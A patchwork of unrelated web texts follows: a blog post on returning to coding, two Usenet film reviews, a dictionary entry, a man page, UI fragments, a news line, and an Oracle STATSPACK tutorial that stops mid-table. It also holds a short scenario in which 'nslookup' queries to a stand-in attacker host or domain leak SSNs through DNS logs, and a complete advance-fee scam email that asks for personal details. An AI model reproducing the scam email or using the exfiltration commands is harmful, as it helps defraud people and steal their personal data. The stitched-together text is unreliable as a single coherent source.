03 Apr 2016As a developer who drifted into tech lead and then management 20 or so years ago, I have always wanted to get back to doing some coding again. A few years back I noticed that I had become out of touch on how developers code today. In the good old days all you needed was an editor (cue emacs versus vi war), a compiler and an incomprehensible make file and you were all set! However, the world has moved on and for years I have gotten by nodding sagely as a developer discussed test driven development, continuous integration, IDEs (sure vi is more than enough), frameworks and many more.
The good news is that the basics of writing some code have not changed that much (well sort of). I could quickly write loops and if-statements and sites such as CodingBat can reacquaint you with the basics. However, what has changed is that programming languages have evolved to make it easier to work with data structures and objects in particular. For example writing loops in Java has gone from basic while and for loops to enhanced for loops to iterators and now lambdas.
Another major improvement is the tooling around software development with IDEs in particular (cue IntelliJ versus Eclipse versus … wars). Yes these tools help with syntax but navigating a large software systems is infeasible without the support you get from IDEs to follow a chain of declarations and implementations. Combine that with plug-ins for code style, static analysis and most importantly test coverage and suddenly developers can have no excuse for creating poor quality code; alright they can moan to management if they are not given enough time.
Instead of a complex make file you now have tools like Maven and Gradle which can be integrated with tools such as Jenkins to support continuous integration from a Git repository.
(Aside: apologies that this is very Java centric but I know that the same development infrastructure exists for all modern programming languages from PHP to Ruby to .NET/C#.)
Once you understand the coding environment then you need to get familiar with a framework. I started with Spring but quickly discovered that Spring Boot encompassed most of what I needed to develop REST services. Frameworks seemed big and complex but after a few days I seen them as for helpers to provide the boring glue or pluming code and allow the developer to concentrate on the problem domain.
A long list of technologies but the key was to find a project and get started. With a few patient senior developers to help with the environment set up and a lot of online searching and tutorials I was able to make good progress and get back to being a developer.
It has been fun and definitely made me a better manager. I just need to keep up the coding!


CRASH A film review by Vince Deehan Copyright 1997 Vince Deehan
Written and Directed by David Cronenberg. Based on the book by J.G. Ballard. Cast: James Spader, Holly Hunter, Elias Koteas, Deborah Kara Unger and Rosanna Arquette.
CRASH finally got released in the UK today, Friday June 6th 1997. It is still banned by the London Council of Westminster but the distributors have managed to get some cinemas *just* on the outside of this boundary (namely the ABC Shaftesbury Ave for one, where I saw it), to screen it. So people living near the West End don't have to trek out into the suburbs to see it ! I saw it at the first screening of the day a t 12:40 and upon leaving the cinema I was not one bit surprised to see a film crew interviewing people as they left the cinema. I managed to creep past them ! I wouldn't have known what to say !
The plot of the film, although the word plot seems hardly appropriate giving the distinct lack of one, was showing the exploits of a group of individuals who get their sexual kicks from watching and being involved in car crashes. I won't bother with trotting out the names of the characters or even try to distinguish them from each other because I found them all deeply uninteresting and not really worthy of much close attention.
The only reasons to see this film are if you're interested in lots of graphic sex scenes and want to see some awesome car crashes. I can't deny that some of the sex scenes were highly charged and very erotic (although I almost feel ashamed saying it !) but this is not what I go to the cinema to see, as a rule. The best films have great dialogue, a good story and believable characters. CRASH had none of these things.
The car crash scenes were as explicit as the sex scenes and really quite frightening. I certainly jumped out of my seat several times ! The sheer force of some of the jolts was very well conveyed, not least in one scene where they re-enact Jimmy Dean's car crash. It was terrifyingly real. I hate driving, in fact I have a bit of a phobia about driving to the extent that I haven't driven a car for over a year (I kid you not). This film has only confirmed my fears of driving, or more specifically of crashing. I'm not sure if this is a good thing or a bad thing !
The cast for CRASH is led by James Spader, Deborah Kara Unger, Elias Koteas and Holly Hunter. That's an impressive cast, but although they did their best I'm sure , I still found all the characters hard to care about. There was so little dialogue in the film, which made the characters seem very thin and it was impossible to understand their motivations.  The film doesn't even attempt to offer an explanation. We are merely presented with these strange people and are shown in detail what they get up to, but the film offers no opinion of its own. It's all up to us to come to some sort of conclusion I guess.
The music by Howard Shore is one of the best things about the film. It's mostly led by a screechy guitar motif that crops up throughout the film, and gives CRASH an appropriately jarring background sound
The opening titles were also great. All the names of the cast and crew were shown coming towards the viewer and were composed of twisted chrome letters. Very classy, I thought.
The thing is, good music and good titles does not in itself make a good film. I am very glad to have seen CRASH but I can't say I enjoyed watching it. I left the cinema feeling quite brutalized by what I had seen and it was not a pleasant experience. I hate to be so negative about films that I review and I would feel very guilty if this review puts people off checking the film out for themselves. So I would urge people who are considering going to see CRASH to go along, and see what you make of it !
Review written on Friday 6 June 1997 E-mail<EMAIL_ADDRESS>http:\\www.deehan.demon.co.uk
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


- to plan and make decisions about (something that is being built or created) : to create the plans, drawings, etc., that show how (something) will be made
- to plan and make (something) for a specific use or purpose
- to think of (something, such as a plan)
- to plan (something) in your mind
Word-Tittle1
- verb ·
- de·sign ·
- \di-ˈzīn\
Origin
Middle English, to outline, indicate, mean, from Anglo-French & ME Latin; Anglo-French designer to designate, from ME Latin designare, from Latin, to mark out, from de- + signare to mark
First Known Use: 14th century


cracklib\-check
Section: Maintenance Commands (8)Updated: Sat Jun 21 22:44:33 CEST 2008
Index Return to Main Contents
NAME
cracklib-check - Check passwords using libcrack2SYNOPSIS
cracklib-checkDESCRIPTION
cracklib-check takes a list of passwords from stdin and checks them via libcrack2's FascistCheck(3) sub routine.RESULT
cracklib-check prints each checked password and the corresponding result of FascistCheck(3) to stdout. The password and the result are separated by a colon.SEE ALSO
FascistCheck(3)AUTHOR
This man page was written by Jan Dittberner<EMAIL_ADDRESS>for the Debian GNU/Linux System (but may be used by others).
Index
This document was created by man2html, using the manual pages.
Time: 05:34:25 GMT, December 24, 2015


Lunch Checker
empty items are ignored, e.g.
banana, , aple
will be counted as 2 dishes
Check If Too Much
{{ message }}


NATURAL BORN KILLERS A film review by Phineas Narco Copyright 1994 Phineas Narco
SCTV, the TV spoof comedy show out of Canada that ran for several years in syndication, once tried to do a parody of Laverne & Shirley and found that they just couldn't do it. The show was already a parody of itself. This might be the case with Oliver Stone's new film NATURAL BORN KILLERS, a movie that's sure to be the most controversial, and one of the most lucrative, of the year. It is also the most visually inventive mainstream film to be released since Alan Parker's PINK FLOYD-THE WALL. Moreover, I think this movie will really polarize its audience into those who think it's brilliant and those who think it's garbage.
In case you've been under a rock for the past month, NBK has been hyped like crazy on television for over a month before its release. It concerns the adventures of Mickey and Mallory Knox (Woody Harrelson and Juliette Lewis), two lovestruck free-spirited serial killers who go on a three week rampage across America killing over 50 people before they are brought to justice. As bad as that sounds, Mickey and Mallory are the only two likable characters in the picture! They are surrounded by scumbags ... Tom Sizemore as a sadistic cop hot on their tail, Robert Downey Jr., an Australian Geraldo Rivera who would sell his soul for ratings, Tommy Lee Jones as a sleazy prison warden, Rodney Dangerfield as Mallory's perverted foul-mouthed father, all foils for the pure love, and love of killing, that the death-dealing duo share.
The movie has moments of brilliance:
-LOVE THAT MALLORY: Done in the style of a tv sitcom, a picture of Mallory's horribly abusive home life complete with laughtrack and arbitrarily bleeped profanities. What's chilling about this is how much *like* a sitcom it is ... the laugh cues are right on and we react to them in the same way as we would a scene on CHEERS ... until we realize something truly vile and sick is going on underneath the laughs. This is arguably the most effective sequence in the picture.
-Perfectly timed "subliminals" ... someone says something to Mickey that we know pisses him off and there's a short "cut" of a few frames of a bleeding head screaming. A brief peek of the rage within.
-A cop murder captured live on television ... then a cut to the Coca-Cola commercial with the smiling computer animated polar bears. Talk about trivialization!
Lewis and Harrelson do fine jobs considering the amount of special effects they have to contend with. There might be some Oscar nominations in the offing here unless the Academy gets cold feet from this controversial picture.
One weak point of the film is that there really isn't any exposition about how the public comes to love these two ... perhaps they've been watching TV versions that give the killers the same preferential treatment as this movie?
Hmmmm.
Just about everyone they kill does something (at least in the mind of a killer, or a moviegoer) to deserve it.
Hmmmm.
By the end of the movie, during the prison break, we're cheering for the prisoners and escapees as they smash and kill their captors ... rather like the gawkers on the overpass in LA cheering OJ Simpson 50 yard dash into the end zone.
Hmmmm.
Much has been made about the fact that throughout the movie Stone uses just about every special cinematic 'gimmick' in the book: 8mm, lens filters, grainy black and white, jump cuts and flashbacks galore, animation, morphing, pixelvision, front projection, rear projection, video, subliminals, laughtracks, reverse-reverb, slow motion, super slow-mo, claymation(?), time-lapse, double exposure ... to name only the ones I recognized! the film is a literal textbook of special film technique and certainly it is the most prominent, even overwhelming, aspect of the movie. The average length of a shot would be interesting to figure out. I suspect it's probably under a second, maybe two at the most. Perhaps when this comes out on video Criterion Collection will issue it on laserdisc in CAV format so that videophiles can check it out literally frame by frame. There is enough STUFF in this film for ten films and to be frank it is frequently distracting. While watching this movie I found that I was so captivated by the astonishing visuals I wasn't paying any attention to the characters, dialogue or the plot.
All this begs the question: Why did Oliver Stone make his film like this? I have always been impressed by at least the *visuals* of his movies even if I don't always agree with the ideas behind them. JFK for example was a factual mess but technically brilliant. But Stone's smart enough guy to know that this movie would affect its viewers in the way I described and I really believe that it's intentional, as I'm sure a lot of people have figured out. What he's doing is caricaturizing American media... offering forth the favorite subject of the tabloid news circuit (serial killers) in the same kind of quasi-real quick-cut flash and sparkle style of those same tabloid news shows. Stone seems to be saying "you want sensationalism? You want flashy visual gimmicks? You want the STORY and not the reality? Here! Here it is in spades times ten!!" The problem with this film's reception with people who criticize it, I think, is they don't GET that it's a spoof of media. And understandably so! Indeed, "news" nowadays has gotten all too much like the style of NATURAL BORN KILLERS. It's hard to tell the caricature from the original and at first glance it seems that Stone is just offering *more* of what he's purportedly criticizing and spoofing. The difference between what Stone offers and what television offers is that Stone has a bigger budget and more time to work on it. NATURAL BORN KILLERS is visually assaultive, confusing, violence-glorifying, over-the-top, pretentious, self-indulgent comic book fairy tale. But that's the point!
There really is a fine line between what Stone has put together here and what he's commenting on and spoofing. Since media is becoming more and more a parody of itself, parodying media is getting to be a tricky business calling for the kind of extremities Stone explores here.
*That* in itself really says something.
.
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Chinese Commerce Ministry says Washington, Beijing agree to cancel tariff hikes as trade talks ...
by EndPlayBEIJING - BEIJING (AP) - Chinese Commerce Ministry says Washington, Beijing agree to cancel tariff hikes as trade talks progress.
BEIJING - BEIJING (AP) - Chinese Commerce Ministry says Washington, Beijing agree to cancel tariff hikes as trade talks progress.


Scenario
Victim with CC/SSN/PII/etc
Hacker with listening DNS service
Victim: nslookup www.SSNNUMBER.com <hacker ip>
Hacker now has a log of queries with SSN numbers
Alt Scenario
Pay for DNS name / server
Victim with CC/SSN/PII/etc
Victim: nslookup SSNNUMBER.hackerdomain.com
Hacker now has a log of queries with SSN numbers


Yazı Ekle
Site yorumları
Admin Ekle
New Blog
New Admin
Waiting Room
Dude what's your purpose
You cannot enter here without permission
Go back


Trains
Catch one here or miss it somewhere else.
Current Train Schedule
Train Name
Destination
Frequency(min)
Next Arrival
Minutes Away
Add Train
Train Name
Destination
First Train Time (HH:mm-military time)
Frequency(min)
Submit


>From The Office of Mr Ibrahim Rashid Director Audit and Account dept. African development bank (ADB) West Africa. Tel +226 76 00 62 79 transfer of ($ 25,200.000.00) twenty five million, two hundred thousand dollars I am mr Ibrahim Rashid, the auditor general of african development bank here in burkina faso. during the course of our auditing; i discovered a floating fund in an account opened in the bank by mr john korovo, after going through some old files in the records i discovered that the owner of the account died in the (Beirut-bound charter jet) plane crash on the 25th december 2003 in cotonou (republic of Benin). here is the(website=http://www.cnn.com/2003/world/africa/12/26/benin.crash/index.html).and since then nobody has operated on this account again, the owner of this account is mr john korovo a foreigner, and a trader who trade on gold and mining and he died, since 2003 and no other person knows about this account or any thing concerning it, the account has no other beneficiary and my investigation proved to me as well that mr john korovo die along with his entire family. the amount involved is ($ 25.2 m) twenty-five million, two hundred thousand united states dollars only , i am only contacting you as a foreigner because this money can not be approved to a local person here, with valid international foreign passport, but can only be approved to any foreigner with valid international passport or drivers license and foreign account because the money is in us dollars and the former owner of the account mr john korovo is a foreigner too, and the money can only be approved into a foreign account. i need your strong assurance that you will never, never cheat me as soon as this fund hit into your account. with my influence and the position of the bank official we can transfer this money to any foreigner's reliable account which you can provide with assurance that this money will be intact pending our physical arrival in your country for sharing. the bank official will prove all documents of transaction immediately for you to receive this fund leaving no trace to any place and to build confidence. i will apply for annual leave to get visa immediately i hear from you that you are ready receive this fund in your account .at the conclusion of this business, you will be given 30% of the total amount, 60% will be for me, while 10% will be for expenses both parties might have incurred during the process of transferring. please if you are interested forward to me your; full name: sex: company: if any full contact address: phone: cell: fax: city: state: zip code country: occupation: age yours truly MR IBRAHIM. _________________________________________________________________ Don't just search. Find. Check out the new MSN Search! http://search.msn.click-url.com/go/onm00200636ave/direct/01/


Architecture
To fully understand the STATSPACK architecture, we have to look at
the basic nature of the STATSPACK utility. The STATSPACK utility is an outgrowth of the
Oracle UTLBSTAT and UTLESTAT utilities, which have been used with Oracle since the very
earliest versions.
The BSTAT-ESTAT utilities capture information directly from the
Oracle's in-memory structures and then compare the information from two snapshots in
order to produce an elapsed-time report showing the activity of the database. If
we look inside utlbstat.sql and utlestat.sql, we see the SQL that samples directly from
the view: V$SYSSTAT;
insert into stats$begin_stats select * from v$sysstat;
insert into stats$end_stats select * from v$sysstat;
When a snapshot is executed, the STATSPACK software will sample
from the RAM in-memory structures inside the SGA and transfer the values into the
corresponding STATSPACK tables. These values are then available for comparing with other
snapshots.
Note that in most cases, there is a direct correspondence between
the v$ view in the SGA and the corresponding STATSPACK table. For example, we see that
the stats$sysstat table is similar to the v$sysstat view.
SQL> desc v$sysstat;
Name
Null? Type
----------------------------------------- -------- -----------------------
STATISTIC#
NUMBER
NAME
VARCHAR2(64)
CLASS
NUMBER
VALUE
NUMBER
STAT_ID
NUMBER
SQL> desc stats$sysstat;
Name
Null? Type
----------------------------------------- -------- -----------------------
SNAP_ID
NOT NULL NUMBER
DBID
NOT NULL NUMBER
INSTANCE_NUMBER
NOT NULL NUMBER
STATISTIC#
NOT NULL NUMBER
NAME
NOT NULL VARCHAR2(64)
VALUE
NUMBER
It is critical to your understanding of the
STATSPACK utility that you realize the information captured by a STATSPACK snapshot is
accumulated values. The information from the V$VIEWS collects database information at
startup time and continues to add the values until the instance is shutdown. In order to
get a meaningful elapsed-time report, you must run a STATSPACK report that compares two
snapshots as shown above. It is critical to understand that a report will be invalid if
the database is shut down between snapshots. This is because all of the accumulated
values will be reset, causing the second snapshot to have smaller values than the first
snapshot.
Installing and Configuring STATSPACK
Create PERFSTAT Tablespace
The STATSPACK utility requires an isolated
tablespace to obtain all of the objects and data. For uniformity, it is suggested that
the tablespace be called PERFSTAT, the same name as the schema owner for the STATSPACK
tables. It is important to closely watch the STATSPACK data to ensure that the
stats$sql_summary table is not taking an inordinate amount of space.
SQL> CREATE TABLESPACE
perfstat
DATAFILE
'/u01/oracle/db/AKI1_perfstat.dbf'
SIZE 1000M REUSE
EXTENT MANAGEMENT LOCAL UNIFORM SIZE 512K
SEGMENT SPACE MANAGEMENT AUTO
PERMANENT
ONLINE;
Run the Create Scripts
Now that the tablespace exists, we can begin the
installation process of the STATSPACK software. Note that you must have performed the
following before attempting to install STATSPACK.
-
Run catdbsyn.sql as SYS
-
Run dbmspool.sql as SYS
$ cd $ORACLE_HOME/rdbms/admin $ sqlplus "/ as sysdba"
SQL> start spcreate.sql
Choose the PERFSTAT user's password
-----------------------------------
Not specifying a password will result in the installation FAILING
Enter value for perfstat_password: perfstat
Choose the Default tablespace for the PERFSTAT
user
---------------------------------------------------
Below is the list of online tablespaces in this database which can
store user data. Specifying the SYSTEM tablespace for the user's
default tablespace will result in the installation FAILING, as
using SYSTEM for performance data is not supported.
Choose the PERFSTAT users's default tablespace. This is the tablespace
in which the STATSPACK tables and indexes will be created.
TABLESPACE_NAME CONTENTS STATSPACK DEFAULT TABLESPACE
------------------------------ --------- ----------------------------
PERFSTAT PERMANENT
SYSAUX PERMANENT *
USERS PERMANENT
Pressing <return> will result in STATSPACK's recommended default
tablespace (identified by *) being used.
Enter value for default_tablespace: PERFSTAT
Choose the Temporary tablespace for the PERFSTAT
user
-----------------------------------------------------
Below is the list of online tablespaces in this database which can
store temporary data (e.g. for sort workareas). Specifying the SYSTEM
tablespace for the user's temporary tablespace will result in the
installation FAILING, as using SYSTEM for workareas is not supported.
Choose the PERFSTAT user's Temporary tablespace.
TABLESPACE_NAME CONTENTS DB DEFAULT TEMP TABLESPACE
------------------------------ --------- --------------------------
TEMP TEMPORARY *
Pressing <return> will result in the database's default Temporary
tablespace (identified by *) being used.
Enter value for temporary_tablespace: TEMP
.....
..... Creating Package STATSPACK...
Package created.
No errors.
Creating Package Body STATSPACK...
Package body created.
No errors.
NOTE:
SPCPKG complete. Please check spcpkg.lis for any errors.
Check the Logfiles: spcpkg.lis, spctab.lis,
spcusr.lis
Adjusting the STATSPACK Collection Level
STATSPACK has two types of collection options, level
and threshold. The level parameter controls the type of data collected from
Oracle, while the threshold parameter acts as a filter for the collection of SQL
statements into the stats$sql_summary table.
SQL> SELECT * FROM stats$level_description
ORDER BY snap_level;
| Level 0 |
This level captures general
statistics, including rollback segment, row cache, SGA, system events, background
events, session events, system statistics, wait statistics, lock statistics, and
Latch information. |
| Level 5 |
This level includes capturing high
resource usage SQL Statements, along with all data captured by lower
levels. |
| Level 6 |
This level includes capturing SQL
plan and SQL plan usage information for high resource usage SQL Statements, along
with all data captured by lower levels. |
| Level 7 |
This level captures segment level
statistics, including logical and physical reads, row lock, itl and buffer busy
waits, along with all data captured by lower levels. |
| Level 10 |
This level includes capturing Child
Latch statistics, along with all data captured by lower levels. |
You can change the default level of a snapshot with
the statspack.snap function. The i_modify_parameter => 'true'
changes the level permanent for all snapshots in the
future.
SQL> exec
statspack.snap(i_snap_level => 6, i_modify_parameter =>
'true');
Create, View and Delete Snapshots
sqlplus perfstat/perfstat
SQL> exec statspack.snap;
SQL> select name,snap_id,to_char(snap_time,'DD.MM.YYYY:HH24:MI:SS')
"Date/Time" from stats$snapshot,v$database;
NAME SNAP_ID
Date/Time
--------- ---------- -------------------
AKI1
4 14.11.2004:10:56:01
AKI1
1 13.11.2004:08:48:47
AKI1
2 13.11.2004:09:00:01
AKI1
3 13.11.2004:09:01:48
SQL> @?/rdbms/admin/sppurge;
Enter the Lower and Upper Snapshot ID
Create the Report
sqlplus perfstat/perfstat
SQL> @?/rdbms/admin/spreport.sql
Statspack at a Glance
What if you have this long STATSPACK report and you want to figure
out if everything is running smoothly? Here, we will review what we look for in the
report, section by section. We will use an actual STATSPACK report from our own Oracle
10g system.
STATSPACK report for
DB Name DB Id
Instance Inst Num Release RAC Host
------------ ----------- ------------ -------- ----------- --- ----------------
AKI1<PHONE_NUMBER>
AKI1
1 <IP_ADDRESS>.0 NO akira
Snap
Id Snap Time Sessions Curs/Sess
Comment
---------
------------------ -------- --------- -------------------
Begin Snap: 5 14-Nov-04
11:18:00 15 14.3
End Snap: 6 14-Nov-04
11:33:00 15 10.2
Elapsed:
15.00 (mins)
Cache Sizes (end)
~~~~~~~~~~~~~~~~~
Buffer Cache: 24M
Std Block Size: 4K
Shared Pool
Size:
764M Log
Buffer: 1,000K
Note that this section may appear slightly different depending on
your version of Oracle. For example, the Curs/Sess column, which shows the number of open
cursors per session, is new with Oracle9i (an 8i Statspack report would not show this
data).
Here, the item we are most interested in is the elapsed
time.  If we use longer times, we begin to lose the needle
in the haystack.
Load Profile
~~~~~~~~~~~~
Per Second Per Transaction
---------------
---------------
Redo size:
425,649.84 16,600,343.64
Logical
reads:
1,679.69
65,508.00
Block
changes:
2,546.17
99,300.45
Physical
reads:
77.81
3,034.55
Physical
writes:
78.35
3,055.64
User
calls:
0.24
9.55
Parses:
2.90
113.00
Hard
parses:
0.16
6.27
Sorts:
0.76
29.82
Logons:
0.01
0.36
Executes:
4.55
177.64
Transactions:
0.03
% Blocks changed per Read: 151.59 Recursive Call
%: 99.56
Rollback per transaction %:
0.00 Rows per Sort:
65.61
Here, we are interested in a variety of things, but if we are
looking at a "health check", three items are important:
- The Hard parses (we want very few of them)
- Executes (how many statements we are executing per second
/ transaction)
- Transactions (how many transactions per second we
process).
This gives an overall view of the load on the server. In
this case, we are looking at a very good hard parse number and a fairly light system load
(1 - 4 transactions per second is low).
Next, we move onto the Instance Efficiency Percentages section,
which includes perhaps the only ratios we look at in any detail:
Instance Efficiency
Percentages (Target 100%)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Buffer Nowait %:
100.00 Redo NoWait %: 99.99
Buffer
Hit %: 95.39 In-memory Sort %: 100.00
Library Hit %:
99.42 Soft Parse %:
94.45
Execute
to Parse %: 36.39 Latch Hit %: 100.00
Parse CPU to Parse Elapsd %: 59.15 % Non-Parse
CPU: 99.31
Shared Pool Statistics Begin
End
------ ------
Memory Usage
%: 10.28 10.45
% SQL with executions>1: 70.10 71.08
% Memory for SQL w/exec>1: 44.52
44.70
The three in bold are the most important: Library Hit, Soft Parse %
and Execute to Parse. All of these have to do with how well the shared pool is being
utilized. Time after time, we find this to be the area of greatest payback, where we can
achieve some real gains in performance.
Here, in this report, we are quite pleased with the Library Hit and
the Soft Parse % values. If the library Hit ratio was low, it could be indicative
of a shared pool that is too small, or just as likely, that the system did not
make correct use of bind variables in the application. It would be an indicator to
look at issues such as those.
OLTP System
The Soft Parse % value is one of the most important (if not
the only important) ratio in the database. For a typical OLTP system, it should be as
near to 100% as possible. You quite simply do not hard parse after the database has
been up for a while in your typical transactional / general-purpose database. The way you
achieve that is with bind variables. In a regular system like this, we are doing
many executions per second, and hard parsing is something to be avoided.
Data Warehouse
In a data warehouse, we would like to generally see the Soft
Parse ratio lower. We don't necessarily want to use bind variables in a data
warehouse. This is because they typically use materialized views, histograms, and other
things that are easily thwarted by bind variables. In a data warehouse, we may have many
seconds between executions, so hard parsing is not evil; in fact, it is good in those
environments.
The moral of this is ...
... to look at these ratios and look at how the system operates.
Then, using that knowledge, determine if the ratio is okay given the conditions. If we
just said that the execute-to-parse ratio for your system should be 95% or better, that
would be unachievable in many web-based systems. If you have a routine that will be
executed many times to generate a page, you should definitely parse once per page and
execute it over and over, closing the cursor if necessary before your connection is
returned to the connection pool.
Moving on, we get to the Top 5 Timed Events section (in Oracle9i
Release 2 and later) or Top 5 Wait Events (in Oracle9i Release 1 and earlier).
Top 5 Timed Events
~~~~~~~~~~~~~~~~~~
% Total
Event
Waits Time (s) Call Time
-------------------------------------------- ------------ -----------
--------- CPU
time
122 91.65
db file sequential
read
1,571
2 1.61
db file scattered
read
1,174
2 1.59 log
file
sequential
read
342
2 1.39
control file parallel
write
450
2 1.39
-------------------------------------------------------------
Wait Events DB/Inst: AKI1/AKI1 Snaps: 5-6
-> s - second
-> cs - centisecond - 100th of a second
-> ms - millisecond - 1000th of a second
-> us - microsecond - 1000000th of a second
-> ordered by wait time desc, waits desc (idle events last)
This section is among the most important and relevant sections
in the Statspack report. Here is where you find out what events (typically wait
events) are consuming the most time. In Oracle9i Release 2, this section is renamed and
includes a new event: CPU time.
- CPU time is not really a wait event (hence, the new
name), but rather the sum of the CPU used by this session, or the amount of CPU time
used during the snapshot window. In a heavily loaded system, if the CPU time event is
the biggest event, that could point to some CPU-intensive processing (for example,
forcing the use of an index when a full scan should have been used), which could be the
cause of the bottleneck.
- Db file sequential read - This wait event will be
generated while waiting for writes to TEMP space generally (direct loads, Parallel DML
(PDML) such as parallel updates. You may tune the PGA AGGREGATE TARGET parameter to
reduce waits on sequential reads.
- Db file scattered read - Next is the db file scattered
read wait value. That generally happens during a full scan of a table. You
can use the Statspack report to help identify the query in question and fix
it.
Here you will find the most CPU-Time consuming SQL
statements
SQL ordered by Gets
DB/Inst: AKI1/AKI1 Snaps: 5-6
-> Resources reported for PL/SQL code includes the resources used by all SQL
statements called by the code.
-> End Buffer Gets Threshold: 10000 Total Buffer
Gets: 720,588
-> Captured SQL accounts for 3.1% of Total Buffer Gets
-> SQL reported below exceeded 1.0% of Total Buffer Gets
CPU
Elapsd Old
Buffer Gets Executions Gets per Exec %Total Time
(s) Time (s) Hash Value
--------------- ------------ -------------- ------ -------- --------- ----------
16,926
1 16,926.0
2.3 2.36 3.46<PHONE_NUMBER>
Module: SQL*Plus create table test as select * from
all_objects
Tablespace
------------------------------
Av Av
Av
Av Buffer Av Buf
Reads Reads/s Rd(ms)
Blks/Rd Writes Writes/s
Waits Wt(ms)
-------------- ------- ------ ------- ------------ -------- ---------- ------
TAB 1,643
4 1.0 19.2
16,811
39 0 0.0
UNDO 166
0 0.5
1.0 5,948
14 0 0.0
SYSTEM 813
2 2.5
1.6
167
0 0 0.0
STATSPACK 146 0
0.3 1.1
277
1 0 0.0
SYSAUX 18
0 0.0
1.0
29
0 0 0.0
IDX
18 0 0.0
1.0
18
0 0 0.0
USER 18
0 0.0
1.0
18
0 0 0.0
-------------------------------------------------------------
->A high value for "Pct
Waits" suggests more rollback segments may be required
->RBS stats may not be accurate between begin and end snaps when using Auto Undo
managment, as RBS may be dynamically created and dropped as needed
Trans
Table Pct Undo Bytes
RBS No Gets
Waits Written
Wraps Shrinks Extends
------ -------------- ------- --------------- -------- -------- --------
0 8.0
0.00
0 0
0 0
1
3,923.0 0.00
14,812,586
15 0 14
2
5,092.0 0.00
19,408,996
19 0 19
3
295.0 0.00
586,760
1 0
0
4
1,312.0 0.00
4,986,920
5 0
5
5 9.0
0.00
0 0
0 0
6 9.0
0.00
0 0
0 0
7 9.0
0.00
0 0
0 0
8 9.0
0.00
0 0
0 0
9 9.0
0.00
0 0
0 0
10
9.0
0.00
0 0
0 0
-------------------------------------------------------------
->Optimal Size should be
larger than Avg Active
RBS No Segment Size Avg
Active Optimal Size Maximum Size
------ --------------- --------------- --------------- ---------------
0
364,544
0
364,544
1
17,952,768
8,343,482
17,952,768
2
25,292,800
11,854,857
25,292,800
3
4,321,280
617,292
6,418,432
4
8,515,584
1,566,623
8,515,584
5
126,976
0
126,976
6
126,976
0
126,976
7
126,976
0
126,976
8
126,976
0
126,976
9
126,976
0
126,976
10
126,976
0
126,976
-------------------------------------------------------------
Generate Execution Plan for given SQL
statement
If you have identified one or more problematic SQL
statement, you may want to check the execution plan. Remember the "Old Hash Value" from
the report above<PHONE_NUMBER>), then execute the scrip to generate the execution
plan.
sqlplus perfstat/perfstat
SQL> @?/rdbms/admin/sprepsql.sql Enter the Hash
Value, in this example:<PHONE_NUMBER>
SQL Text
~~~~~~~~
create table test as select * from all_objects
Known Optimizer Plan(s) for this Old Hash Value
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Shows all known Optimizer Plans for this database instance, and the Snap Id's
they were first found in the shared pool. A Plan Hash Value will appear
multiple times if the cost has changed
-> ordered by Snap Id
First
First Plan
Snap Id Snap Time Hash
Value Cost
--------- --------------- ------------ ----------
6 14 Nov 04 11:26
1386862634 52
Plans in shared pool between Begin and End Snap Ids
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Shows the Execution Plans found in the shared pool between the begin and end
snapshots specified. The values for Rows, Bytes and Cost shown below are those
which existed at the time the first-ever snapshot captured this plan - these
values often change over time, and so may not be indicative of current values
-> Rows indicates Cardinality, PHV is Plan Hash Value
-> ordered by Plan Hash Value
--------------------------------------------------------------------------------
|
Operation
| PHV/Object Name | Rows |
Bytes| Cost |
--------------------------------------------------------------------------------
|CREATE TABLE STATEMENT |-----
1386862634 ----| |
| 52 |
|LOAD AS
SELECT
|
|
|
| |
|
VIEW
|
| 1K|
216K| 44 |
|
FILTER
|
|
|
| |
| HASH
JOIN
|
| 1K|
151K| 38 |
| TABLE ACCESS
FULL
|USER$
| 29 | 464 | 2 |
| TABLE ACCESS
FULL
|OBJ$
| 3K| 249K| 35 |
| TABLE ACCESS BY INDEX ROWID
|IND$
| 1 | 7 | 2 |
| INDEX UNIQUE
SCAN
|I_IND1
| 1 |
| 1 |
| NESTED
LOOPS
|
| 5 | 115
| 16 |
| INDEX RANGE
SCAN
|I_OBJAUTH1
| 1 | 10 | 2 |
| FIXED TABLE
FULL
|X$KZSRO
| 5 | 65 | 14 |
| FIXED TABLE
FULL
|X$KZSPR
| 1 | 26 | 14 |
| FIXED TABLE
FULL
|X$KZSPR
| 1 | 26 | 14 |
| FIXED TABLE
FULL
|X$KZSPR
| 1 | 26 | 14 |
| FIXED TABLE
FULL
|X$KZSPR
| 1 | 26 | 14 |
| FIXED TABLE
FULL
|X$KZSPR
| 1 | 26 | 14 |
| FIXED TABLE
FULL
|X$KZSPR
| 1 | 26 | 14 |
| FIXED TABLE
FULL
|X$KZSPR
| 1 | 26 | 14 |
| FIXED TABLE
FULL
|X$KZSPR
| 1 | 26 | 14 |
| FIXED TABLE
FULL
|X$KZSPR
| 1 | 26 | 14 |
| FIXED TABLE
FULL
|X$KZSPR
| 1 | 26 | 14 |
| FIXED TABLE
FULL
|X$KZSPR
| 1 | 26 | 14 |
| FIXED TABLE
FULL
|X$KZSPR
| 1 | 26 | 14 |
| FIXED TABLE
FULL
|X$KZSPR
| 1 | 26 | 14 |
| FIXED TABLE
FULL
|X$KZSPR
| 1 | 26 | 14 |
| FIXED TABLE
FULL
|X$KZSPR
| 1 | 26 | 14 |
| FIXED TABLE
FULL
|X$KZSPR
| 1 | 26 | 14 |
| FIXED TABLE
FULL
|X$KZSPR
| 1 | 26 | 14 |
| FIXED TABLE
FULL
|X$KZSPR
| 1 | 26 | 14 |
| FIXED TABLE
FULL
|X$KZSPR
| 1 | 26 | 14 |
| FIXED TABLE
